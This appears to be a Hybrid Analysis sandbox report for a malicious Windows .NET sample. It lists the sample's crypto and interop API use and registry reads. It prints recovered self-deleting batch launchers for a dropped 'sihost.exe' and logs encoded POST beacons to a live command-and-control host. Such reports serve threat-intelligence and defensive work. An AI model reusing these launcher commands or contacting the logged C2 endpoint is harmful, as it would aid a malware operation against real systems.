26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 67:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T508,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_100% Sample 2e1d907e37b1… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 2e1d907e37b1…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 15/27 AV engines flagged this file. 10 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda","keywords":["Malicious","Win/malicious_confidence_100%","malware analysis","sandbox report","threat intelligence","2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda"],"about":{"@type":"SoftwareApplication","name":"2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin","applicationCategory":["peexe","assembly","executable"],"identifier":"2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_100%","antivirusDetections":{"malicious":15,"total":27},"behavioralIndicators":{"malicious":10,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:Tc58,Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "ReadInt32" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "ReadInt64" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "AllocCoTaskMem" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "Copy" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "WriteIntPtr" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "WriteInt32" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetDelegateForFunctionPointer" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "ReadIntPtr" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "WriteInt64" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetHINSTANCE" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetFunctionPointerForDelegate" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "PtrToStringUni" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "SizeOf" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetHRForException" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "ReadByte" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "StructureToPtr" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "AllocHGlobal" in "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin"28:T1472,Found reference to "SHA1Managed" (Indicator: "SHA1Managed"; File: "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin") Found reference to "Rfc2898DeriveBytes" (Indicator: "DeriveBytes"; File: "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin") Found reference to "Rfc2898DeriveBytes" (Indicator: "Rfc2898DeriveBytes"; File: "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin") Found reference to "CryptoStream" (Indicator: "CryptoStream"; File: "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin") Found reference to "AesCryptoServiceProvider" (Indicator: "Aes"; File: "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin") Found reference to "AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; File: "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin") Found reference to "HMACSHA256" (Indicator: "HMAC"; File: "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin") Found reference to "HMACSHA256" (Indicator: "HMACSHA256"; File: "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; File: "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin") Found reference to "HMACSHA1" (Indicator: "HMAC"; File: "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin") Found reference to "HMACSHA1" (Indicator: "HMACSHA1"; File: "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "Aes"; File: "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; File: "2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00001028-00000BC0-2383517705") Found reference to "RijndaelManaged" (Indicator: "Rijndael"; Source: "00000000-00002220.00000000.221406.1CD62000.00000002.mdmp") Found reference to "RijndaelManaged" (Indicator: "RijndaelManaged"; Source: "00000000-00002220.00000000.221406.1CD62000.00000002.mdmp") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; Source: "00000000-00002220.00000000.221406.1CD62000.00000002.mdmp") Found reference to "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "Aes"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "SHA1Managed" (Indicator: "SHA1Managed"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "Rfc2898DeriveBytes" (Indicator: "DeriveBytes"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "Rfc2898DeriveBytes" (Indicator: "Rfc2898DeriveBytes"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "CryptoStream" (Indicator: "CryptoStream"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "Aes"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "HMACSHA256" (Indicator: "HMAC"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "HMACSHA256" (Indicator: "HMACSHA256"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "HMACSHA1" (Indicator: "HMAC"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "HMACSHA1" (Indicator: "HMACSHA1"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "RSACryptoServiceProvider" (Indicator: "RSACryptoServiceProvider"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "RijndaelManaged" (Indicator: "Rijndael"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "RijndaelManaged" (Indicator: "RijndaelManaged"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "CryptoConfig" (Indicator: "CryptoConfig"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00003476.00000000.220824.00DA2000.00000002.mdmp")29:T6fc," nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\z7mSN2TF6L.bat"" (Indicator: "w32tm "; File: "z7mSN2TF6L.bat") Found string "@echo offchcp 65001w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\6Y7WGTL1T5.bat"" (Indicator: "w32tm "; File: "6Y7WGTL1T5.bat") Found string "@echo offchcp 65001w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\bdGnfK5Vvn.bat"" (Indicator: "w32tm "; File: "bdGnfK5Vvn.bat") Found string "@echo offchcp 65001w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\KqzjdZvm8E.bat"" (Indicator: "w32tm "; File: "KqzjdZvm8E.bat") Found string "w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2" (Indicator: "w32tm "; Source: "00000000-00000352-00000C47-1558396950")32:T9d7,"sihost.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "")33:Tbae," nulstart "" "C:\2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\tdcOVhdoAh.bat"" (Indicator: "ping -"; File: "tdcOVhdoAh.bat") Found string "@echo offchcp 65001ping -n 10 localhost > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\QtbRvp1Luy.bat"" (Indicator: "ping -"; File: "QtbRvp1Luy.bat") Found string "@echo offchcp 65001ping -n 10 localhost > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\dQkVphdv7k.bat"" (Indicator: "ping -"; File: "dQkVphdv7k.bat") Found string "@echo offchcp 65001ping -n 10 localhost > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\1iyfU6Kdf1.bat"" (Indicator: "ping -"; File: "1iyfU6Kdf1.bat") Found string "@echo offchcp 65001ping -n 10 localhost > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\zvfPht9NvA.bat"" (Indicator: "ping -"; File: "zvfPht9NvA.bat") Found string "@echo offchcp 65001ping -n 10 localhost > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\3WpfbLnk5C.bat"" (Indicator: "ping -"; File: "3WpfbLnk5C.bat") Found string "@echo offchcp 65001ping -n 10 localhost > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\hNUloleJD7.bat"" (Indicator: "ping -"; File: "hNUloleJD7.bat")4f:T424,Heuristic match: "nico59edge.temp.swtest.ru" Heuristic match: "%windir%\system32\chcp.com" Pattern match: "http://nico59edge.temp.swtest.ru/,pipe_multilinuxflowertest" Pattern match: "microsoft.net/framework64/v4.0.30319/" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Heuristic match: "m.web.co" Heuristic match: "cim_operatingsystem.name" Heuristic match: "gsystem.name" Heuristic match: "system.activityhistory.id" Heuristic match: "system.identityprovider.name" Heuristic match: "system.sam.name" Heuristic match: "system.structuredquery.virtual.cc" Heuristic match: "system.structuredquery.virtual.to" Heuristic match: "system.structuredquery.is" Heuristic match: "system.protocol.name" Heuristic match: "system.appusermodel.id" Heuristic match: "system.structuredquerytype.implicit.is" Heuristic match: "soft.net" Heuristic match: "ystem.windows.fo" Pattern match: "http://go.microsoft.com/fwlink/?linkid=42127" Heuristic match: "em.web.cv" Heuristic match: "ystem.se" Heuristic match: "'}.sn" Heuristic match: "ma.np"50:T7f2,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001028.00000000.218386.03090000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001028.00000001.218718.03090000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00001772.00000000.222665.029D0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00001772.00000001.222683.029D0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00002220.00000000.221406.025C2000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003476.00000000.220824.03430000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003476.00000001.220834.03430000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003632.00000000.224709.03510000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003632.00000001.224747.03510000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00005056.00000000.223383.029F0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00005056.00000001.223405.029F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005288.00000000.219279.02D80000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005288.00000001.219551.02D80000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00007124.00000001.220128.02CB0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00007872.00000000.224107.02BB0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00007872.00000001.224121.02BB0000.00000004.mdmp")51:T8de,Found string "+ncalrpc:[OLE1B85CB889CB66312EA2D34AAB09F]" (Indicator: "ncalrpc"; Source: "00000000-00001028.00000001.218718.030C2000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00001028.00000001.218718.1E240000.00000004.mdmp") Found string "+ncalrpc:[OLEE95D06D276C8A6677F24A9C2A2AD]" (Indicator: "ncalrpc"; Source: "00000000-00001028.00000001.218718.1E240000.00000004.mdmp") Found string "B+ncalrpc:[OLE5CC368A7908ACBFE8E5C639AED1B]" (Indicator: "ncalrpc"; Source: "00000000-00001028.00000001.218718.1EA81000.00000004.mdmp") Found string "B+ncalrpc:[OLEE95D06D276C8A6677F24A9C2A2AD]" (Indicator: "ncalrpc"; Source: "00000000-00001028.00000001.218718.1EA81000.00000004.mdmp, 00000000-00001028.00000001.218718.1EB05000.00000004.mdmp") Found string "+ncalrpc:[OLE5CC368A7908ACBFE8E5C639AED1B]" (Indicator: "ncalrpc"; Source: "00000000-00001028.00000001.218718.1EB7E000.00000004.mdmp, 00000000-00001028.00000001.218718.1EB94000.00000004.mdmp") Found string "+ncalrpc:[OLE7531F8FBE14DC064798F232B55D3]" (Indicator: "ncalrpc"; Source: "00000000-00001772.00000000.222665.1D740000.00000004.mdmp, 00000000-00001772.00000001.222683.1D740000.00000004.mdmp") Found string "B+ncalrpc:[OLE5CC368A7908ACBFE8E5C639AED1B]" (Indicator: "ncalrpc"; Source: "00000000-00001772.00000001.222683.029D0000.00000004.mdmp, 00000000-00001772.00000001.222683.1E7C0000.00000004.mdmp") Found string "+ncalrpc:[OLE5CC368A7908ACBFE8E5C639AED1B]" (Indicator: "ncalrpc"; Source: "00000000-00001772.00000001.222683.1D740000.00000004.mdmp, 00000000-00001772.00000001.222683.1E7C0000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00001772.00000001.222683.1D740000.00000004.mdmp") Found string "B+ncalrpc:[OLE5CC368A7908ACBFE8E5C639AED1B]" (Indicator: "ncalrpc"; Source: "00000000-00002220.00000000.221406.025C2000.00000004.mdmp") Found string "+ncalrpc:[OLE5CC368A7908ACBFE8E5C639AED1B]" (Indicator: "ncalrpc"; Source: "00000000-00002220.00000000.221406.1E1C0000.00000004.mdmp") Found string "+ncalrpc:[OLED6877881B5D01CE4B1BCA85B1BCE]" (Indicator: "ncalrpc"; Source: "00000000-00002220.00000000.221413.1D2A0000.00000004.mdmp")52:T8a5," nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\z7mSN2TF6L.bat"" (Indicator: ""del ") in Source: z7mSN2TF6L.bat Observed string: "@echo offchcp 65001w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\6Y7WGTL1T5.bat"" (Indicator: ""del ") in Source: 6Y7WGTL1T5.bat Observed string: "@echo offchcp 65001w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\bdGnfK5Vvn.bat"" (Indicator: ""del ") in Source: bdGnfK5Vvn.bat Observed string: "@echo offchcp 65001w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\KqzjdZvm8E.bat"" (Indicator: ""del ") in Source: KqzjdZvm8E.bat Observed string: "@echo offchcp 65001ping -n 10 localhost > nulstart "" "C:\2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\tdcOVhdoAh.bat"" (Indicator: ""del ") in Source: tdcOVhdoAh.bat Observed string: "@echo offchcp 65001ping -n 10 localhost > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\QtbRvp1Luy.bat"" (Indicator: ""del ") in Source: QtbRvp1Luy.bat Observed string: "@echo offchcp 65001ping -n 10 localhost > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\dQkVphdv7k.bat"" (Indicator: ""del ") in Source: dQkVphdv7k.bat Observed string: "@echo offchcp 65001ping -n 10 localhost > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\1iyfU6Kdf1.bat"" (Indicator: ""del ") in Source: 1iyfU6Kdf1.bat Observed string: "@echo offchcp 65001ping -n 10 localhost > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\zvfPht9NvA.bat"" (Indicator: ""del ") in Source: zvfPht9NvA.bat Observed string: "@echo offchcp 65001ping -n 10 localhost > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\3WpfbLnk5C.bat"" (Indicator: ""del ") in Source: 3WpfbLnk5C.bat Observed string: "@echo offchcp 65001ping -n 10 localhost > nulstart "" "C:\TorService\data\sihost.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\hNUloleJD7.bat"" (Indicator: ""del ") in Source: hNUloleJD7.bat56:T535," "TTRWWXVR\L~Nkpu[wqawukShouwUs_hck^o|Zx`bKkS`CtYw[}u~V@BxSP~\a^}]xR`~pd@idrLx|Yla\|ak|ggkpWOz]hBrYZ`NyK}_}Jwv`}axy[qKp\J}ra|Zz[pKz]IwriwLqx\yVi" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:39:19 GMT Content-Type: text/html Content-Length: 157 Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /pipe_MultiLinuxflowertesttemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: nico59edge.temp.swtest.ru Content-Length: 344 Connection: Keep-Alive" with payload::==> "WTPQTRWQ[SWPXRV\L~cjOt\mLaewQhoiwlc]h`{|HlNfJh}pttw[u~V@{m~}bi^}]{R|UhpwP|da]lm{lax|_`XjgxU|NzUncZM~]wtyK}_euXRJ}Kxy[qKp\g\SM}pz[pKz]gu\[Nvfqx\yVi" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:39:28 GMT Content-Type: text/html Content-Length: 559 Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /pipe_MultiLinuxflowertesttemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: nico59edge.temp.swtest.ru Content-Length: 336 Connection: Keep-Alive" with payload::==> "QV\L~A~`zc\Swu|kR}cRl|ck^oBgH{pz|}cS`gkZje~V@{STO}Oy{YwTtC~^ZA~^foSsobs]krg|wgA|`bQ{ctL}qlp^GQ{aiuX`[|[x^|qqw\QJ|ey{ZzJXR}M{q\W_p[" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:39:39 GMT Content-Type: text/html Content-Length: 559 Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /pipe_MultiLinuxflowertesttemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: nico59edge.temp.swtest.ru Content-Length: 344 Connection: Keep-Alive" with payload::==> "TVTVTQRY[R\L~~czM`bb\v\|O~ljY`s_kZp{UcHoYe_|SQUctw^iO~V@{CfrW^}]{UhRt@j`h@jIbMxnd_x\t|Xh[}I{@h`Sm`ialvtyK}_ivvR|axy[qKp\k|rSpz[pKz]kvr[tfqx\yVi" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:39:48 GMT Content-Type: text/html Content-Length: 559 Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /pipe_MultiLinuxflowertesttemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: nico59edge.temp.swtest.ru Content-Length: 344 Connection: Keep-Alive" with payload::==> "QT\WRWPXPTUQ\L}T`u^wbP_uflkoywB|BksQXlRZXoce_hn`tdlLiO~V@@zmzA}\W^}]x|ppx|wvz~cKoawXkqiYUksyzMpi{Yw^yK}_uuHpK|axy[qKp\wLqOpz[pKz]wuLyLtfqx\yVi" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:39:59 GMT Content-Type: text/html Content-Length: 157 